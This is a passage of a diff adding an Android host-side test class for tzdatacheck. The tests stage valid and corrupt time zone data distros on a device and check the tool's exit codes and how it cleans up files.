+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+ // than delete.
+ assertDevicePathExists(dataStagedDir);
+ assertDevicePathIsFile(dataStagedDir);
+ }
+
+ // {dataDir}/staged exists but /current dir is a file.
+ public void testStaging_uninstall_currentDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ createStagedUninstallOnHost(dataStagedDir);
+
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
+ public void testStaging_uninstall_noCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ createStagedUninstallOnHost(dataStagedDir);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/staged contains an uninstall, and there is something to uninstall.
+ public void testStaging_uninstall_withCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ createStagedUninstallOnHost(dataStagedDir);
+
+ // Create a current installed distro.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] distroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/staged exists but /current dir is a file.
+ public void testStaging_install_currentDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged install.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] distroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataStagedDir, distroBytes);
+
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "installed" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/staged contains an install, but there is nothing to replace.
+ public void testStaging_install_noCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged install.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "installed" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+ }
+
+ // {dataDir}/staged contains an install, and there is something to replace.
+ public void testStaging_install_withCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ DistroVersion currentDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 1);
+ DistroVersion stagedDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 2);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] stagedDistroBytes = createValidDistroBuilder()
+ .setDistroVersion(stagedDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+ // Create a current installed distro.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] currentDistroBytes = createValidDistroBuilder()
+ .setDistroVersion(currentDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "installed" state.
+ // The stagedDistro should now be the one in the current dir.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+ }
+
+ // {dataDir}/staged contains an invalid install, and there is something to replace.
+ // Most of the invalid cases are tested without staging; this is just to prove that staging
+ // an invalid distro is handled the same.
+ public void testStaging_install_withCurrent_invalidStaged() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall which contains invalid.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] stagedDistroBytes = createValidDistroBuilder()
+ .clearVersionForTests()
+ .buildUnvalidatedBytes();
+ unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+ // Create a current installed distro.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. The staged directory will have become the
+ // current one, but then it will be discovered to be invalid and will be removed.
+ assertEquals(3, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // No {dataDir}/current exists.
+ public void testNoCurrentDataDir() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Deliberately not creating anything on host in the data dir here, leaving the empty
+ // structure.
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+ }
+
+ // {dataDir}/current exists but it is a file.
+ public void testCurrentDataDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(2, runTzDataCheckOnDevice());
+
+ // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+ // than delete.
+ assertDevicePathExists(dataCurrentDir);
+ assertDevicePathIsFile(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but is missing the distro version file.
+ public void testMissingDataDirDistroVersionFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
+ .clearVersionForTests()
+ .buildUnvalidatedBytes();
+ unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(3, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version file is short.
+ public void testShortDataDirDistroVersionFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+ // Replace the distro version file with a short file.
+ Path distroVersionFile =
+ dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+ assertHostFileExists(distroVersionFile);
+ Files.write(distroVersionFile, new byte[3]);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(3, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists and the distro version file is long enough, but contains junk.
+ public void testCorruptDistroVersionFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+
+ // Replace the distro version file with junk.
+ Path distroVersionFile =
+ dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+ assertHostFileExists(distroVersionFile);
+
+ int fileLength = (int) Files.size(distroVersionFile);
+ byte[] junkArray = new byte[fileLength]; // all zeros
+ Files.write(distroVersionFile, junkArray);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(4, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is incorrect.
+ public void testInvalidMajorDistroVersion_older() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion oldMajorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(oldMajorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(5, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is incorrect.
+ public void testInvalidMajorDistroVersion_newer() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion newMajorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+ VALID_RULES_VERSION, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(newMajorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(5, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is incorrect.
+ public void testInvalidMinorDistroVersion_older() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion oldMinorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
+ VALID_RULES_VERSION, 1);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(oldMinorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(5, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is newer (which is accepted because it should
+ // be backwards compatible).
+ public void testValidMinorDistroVersion_newer() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion newMajorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
+ VALID_RULES_VERSION, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(newMajorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/current is valid but the tzdata file in /system is missing.
+ public void testSystemTzDataFileMissing() throws Exception {
+ // Deliberately not writing anything in /system here.
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, validDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(6, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+ }
+
+ // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
+ public void testSystemTzDataFileCorrupt() throws Exception {
+ // Set up the /system directory structure on host.
+ byte[] invalidTzDataBytes = new byte[20];
+ Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, validDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(7, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+ }
+
+ // {dataDir}/current is valid and the tzdata file in /system is older.
+ public void testSystemTzRulesOlder() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ // Newer than RULES_VERSION_ONE in /system
+ final String distroRulesVersion = RULES_VERSION_TWO;
+ DistroVersion distroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(distroVersion)
+ .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
+ public void testSystemTzDataSame() throws Exception {
+ // Set up the /system directory structure on host.
+ final String systemRulesVersion = VALID_RULES_VERSION;
+ createSystemTzDataFileOnHost(systemRulesVersion);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion distroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(distroVersion)
+ .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/current is valid and the tzdata file in /system is the newer.
+ public void testSystemTzDataNewer() throws Exception {
+ // Set up the /system directory structure on host.
+ String systemRulesVersion = RULES_VERSION_TWO;
+ createSystemTzDataFileOnHost(systemRulesVersion);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
+ DistroVersion distroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+ distroRulesVersion,
+ VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(distroVersion)
+ .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // It is important the dataCurrentDir is deleted in this case - this test case is the main
+ // reason tzdatacheck exists.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
+ byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
+ Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+ }
+
+ private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
+ createHostDirectory(stagedDir);
+
+ PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
+ // Create an empty file.
+ new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
+ }
+
+ private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
+ createHostDirectory(path);
+ new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
+ }
+
+ private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
+ String distroRulesVersion = VALID_RULES_VERSION;
+ DistroVersion validDistroVersion =
+ new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+ distroRulesVersion, VALID_REVISION);
+ return new TimeZoneDistroBuilder()
+ .setDistroVersion(validDistroVersion)
+ .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+ .setIcuDataFile(new byte[10]);
+ }
+
+ private static byte[] createValidTzDataBytes(String rulesVersion) {
+ return new ZoneInfoTestHelper.TzDataBuilder()
+ .initializeToValid()
+ .setHeaderMagic("tzdata" + rulesVersion)
+ .build();
+ }
+
+ private int runTzDataCheckOnDevice() throws Exception {
+ return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
+ }
+
+ private int runTzDataCheckWithArgs(String[] args) throws Exception {
+ String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
+ return executeCommandOnDeviceWithResultCode(command).statusCode;
+ }
+
+ private static String createTzDataCheckCommand(String rootDir, String[] args) {
+ StringJoiner joiner = new StringJoiner(" ");
+ String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
+ joiner.add(tzDataCheckCommand);
+ for (String arg : args) {
+ joiner.add(arg);
+ }
+ return joiner.toString();
+ }
+
+ private static void assertHostFileExists(Path path) {
+ assertTrue(Files.exists(path));
+ }
+
+ private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
+ return getDevice().executeShellCommand(command);
+ }
+
+ private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
+ executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
+ }
+
+ private static void createHostDirectory(PathPair dir) throws Exception {
+ Files.createDirectory(dir.hostPath);
+ }
+
+ private static class ShellResult {
+ final String output;
+ final int statusCode;
+
+ private ShellResult(String output, int statusCode) {
+ this.output = output;
+ this.statusCode = statusCode;
+ }
+ }
+
+ private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
+ // A file to hold the script we're going to create.
+ PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
+ // A file to hold the output of the script.
+ PathPair scriptOut = mTestRootDir.createSubPath("script.out");
+
+ // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
+ // and printing the result code.
+ String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
+
+ // Parse and return the result.
+ try {
+ Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
+
+ // Push the script to the device.
+ pushFile(scriptFile);
+
+ // Execute the script using "sh".
+ String execCommandUnderShell =
+ mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
+ String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
+
+ // Pull back scriptOut to the host and read the content.
+ pullFile(scriptOut);
+ byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
+ String output = new String(outputBytes, StandardCharsets.US_ASCII);
+
+ int resultCode;
+ try {
+ resultCode = Integer.parseInt(resultCodeString);
+ } catch (NumberFormatException e) {
+ fail("Command: " + command
+ + " returned a non-integer: \"" + resultCodeString + "\""
+ + ", output=\"" + output + "\"");
+ return null;
+ }
+ return new ShellResult(output, resultCode);
+ } finally {
+ deleteDeviceFile(scriptFile, false /* failOnError */);
+ deleteDeviceFile(scriptOut, false /* failOnError */);
+ deleteHostFile(scriptFile, false /* failOnError */);
+ deleteHostFile(scriptOut, false /* failOnError */);
+ }
+ }
+
+ private void pushHostTestDirToDevice() throws Exception {
+ assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
+ }
+
+ private void pullFile(PathPair file) throws DeviceNotAvailableException {
+ assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
+ getDevice().pullFile(file.devicePath, file.hostFile()));
+ }
+
+ private void pushFile(PathPair file) throws DeviceNotAvailableException {
+ assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
+ getDevice().pushFile(file.hostFile(), file.devicePath));
+ }
+
+ private void deleteHostFile(PathPair file, boolean failOnError) {
+ try {
+ Files.deleteIfExists(file.hostPath);
+ } catch (IOException e) {
+ if (failOnError) {
+ fail(e);
+ }
+ }
+ }
+
+ private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
+ throws DeviceNotAvailableException {
+ String deviceDir = dir.devicePath;
+ try {
+ executeCommandOnDeviceRaw("rm -r " + deviceDir);
+ } catch (Exception e) {
+ if (failOnError) {
+ throw deviceFail(e);
+ }
+ }
+ }
+
+ private void deleteDeviceFile(PathPair file, boolean failOnError)
+ throws DeviceNotAvailableException {
+ try {
+ assertDevicePathIsFile(file);
+ executeCommandOnDeviceRaw("rm " + file.devicePath);
+ } catch (Exception e) {
+ if (failOnError) {
+ throw deviceFail(e);
+ }
+ }
+ }
+
+ private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
+ Path hostPath = dir.hostPath;
+ if (Files.exists(hostPath)) {
+ Consumer<Path> pathConsumer = file -> {
+ try {
+ Files.delete(file);
+ } catch (Exception e) {
+ if (failOnError) {
+ fail(e);
+ }
+ }
+ };
+
+ try {
+ Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
+ } catch (IOException e) {
+ fail(e);
+ }
+ }
+ }
+
+ private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
+ assertTrue(getDevice().doesFileExist(path.devicePath));
+ }
+
+ private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
+ throws Exception {
+ // Pull back just the version file and compare it.
+ File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
+ try {
+ String remoteVersionFile = distroPath.devicePath + "/"
+ + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
+ assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
+ getDevice().pullFile(remoteVersionFile, localFile));
+
+ byte[] bytes = Files.readAllBytes(localFile.toPath());
+ assertArrayEquals(bytes,
+ new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
+ } finally {
+ localFile.delete();
+ }
+ }
+
+ private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
+ assertFalse(getDevice().doesFileExist(path.devicePath));
+ }
+
+ private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
+ // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
+ // requires that the user has rights to list all files beneath each and every directory in
+ // the path. That is not the case for the shell user and the /data and /data/local
+ // directories. http://b/35753041.
+ String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
+ assertTrue(path.devicePath + " not a file. Received: " + output,
+ output.startsWith("regular") && output.endsWith("file\n"));
+ }
+
+ private static DeviceNotAvailableException deviceFail(Exception e)
+ throws DeviceNotAvailableException {
+ if (e instanceof DeviceNotAvailableException) {
+ throw (DeviceNotAvailableException) e;
+ }
+ fail(e);
+ return null;
+ }
+
+ private static void fail(Exception e) {
+ e.printStackTrace();
+ fail(e.getMessage());
+ }
+
+ /** A path that has equivalents on both host and device. */
+ private static class PathPair {
+ private final Path hostPath;
+ private final String devicePath;
+
+ PathPair(Path hostPath, String devicePath) {
+ this.hostPath = hostPath;
+ this.devicePath = devicePath;
+ }
+
+ File hostFile() {
+ return hostPath.toFile();
+ }
+
+ PathPair createSubPath(String s) {
+ return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
+ }
+ }
+}
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index e2457c5..af7e2c9 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -31,7 +31,7 @@
LOCAL_CTS_TEST_PACKAGE := android.ui.cts
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
